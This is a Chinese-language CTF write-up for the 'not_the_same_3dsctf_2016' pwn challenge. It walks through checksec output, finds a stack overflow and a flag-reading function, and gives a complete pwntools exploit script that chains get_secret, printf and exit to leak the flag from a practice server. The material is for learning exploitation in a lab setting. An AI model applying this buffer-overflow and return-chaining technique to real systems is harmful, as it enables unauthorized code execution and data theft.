【printf不刷新缓冲区】not_the_same_3dsctf_2016

Thursday, December 29, 2022
本文共622字
2分钟阅读时长

⚠️本文是作者P3troL1er原创,首发于https://peterliuzhi.top/writeup/printf%E4%B8%8D%E5%88%B7%E6%96%B0%E7%BC%93%E5%86%B2%E5%8C%BAnot_the_same_3dsctf_2016/。商业转载请联系作者获得授权,非商业转载请注明出处!

People ask me what I do in winter when there’s no baseball. I’ll tell you what I do. I stare out the window and wait for spring. — Rogers Hornsby

原题链接

checksec查看程序架构

$ checksec --file not_the_same_3dsctf_2016
[*] '/home/peterl/security/workspace/not_the_same_3dsctf_2016/not_the_same_3dsctf_2016'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

32位程序带堆防护

同时,如果我们使用 ldd命令,就会发现这个程序是一个静态链接程序

ida查看程序伪代码

202209231633042022-09-23-16-33-04

我们发现主函数很简单就能栈溢出,那我们再找找有没有后门函数

结果发现了get_secret函数:

202209231634252022-09-23-16-34-25

我们发现这个后门函数实在有点特殊,主要逻辑是打开目录下的flag.txt文件,然后读入开头的至多45个字符入fl4g变量,我们双击fl4g变量发现其地址为:

202209231640082022-09-23-16-40-09

构建exp

我们使用readelf -s命令查看一下程序的符号表:

$ readelf -s not_the_same_3dsctf_2016 | grep fl4g
  1506: 080eca2d    45 OBJECT  GLOBAL DEFAULT   24 fl4g
$ readelf -s not_the_same_3dsctf_2016 | grep printf
   ...
   901: 0804f0a0    30 FUNC    GLOBAL DEFAULT    5 printf
   ...

那么我们的基本思路就是,先栈溢出调用后门函数,然后调用输出函数printf输出fl4g

payload = b"a"*0x2D + pg(backdoor) + pg(m_elf.sym['printf']) + pg(m_elf.sym['exit']) + pg(m_elf.symbols['fl4g']) 

注意,这里一定要使用exit退出,这里的exit起了一个return语句的作用

完整exp


from pwn import *
from pwn import p64, p32, u32, u64
# from LibcSearcher import LibcSearcher

pss: bool = True
fn: str = "./not_the_same_3dsctf_2016"
libc_name:str = ""
port: str = "28534"
if_32: bool = True
if_debug:bool = False
pg = p32 if if_32 else p64
context(log_level="debug", arch="i386" if if_32 else "amd64", os="linux")
if pss:
    p = remote("node4.buuoj.cn", port)
else:
    if if_debug:
        p = gdb.debug(fn, "b* 0x8048A00")
    else:
        p = process(fn)

m_elf = ELF(fn)
backdoor = 0x80489a0
p.clean()
# 这里不能直接recvuntil,因为printf不刷新缓冲区,pwntools这种用管道的工具无法接收到任何字符
# p.recvuntil("b0r4 v3r s3 7u 4h o b1ch4o m3m0... ")
payload = b"a"*0x2D + pg(backdoor) + pg(m_elf.sym['printf']) + pg(m_elf.sym['exit']) + pg(m_elf.symbols['fl4g']) 
p.sendline(payload)
p.clean()
p.interactive()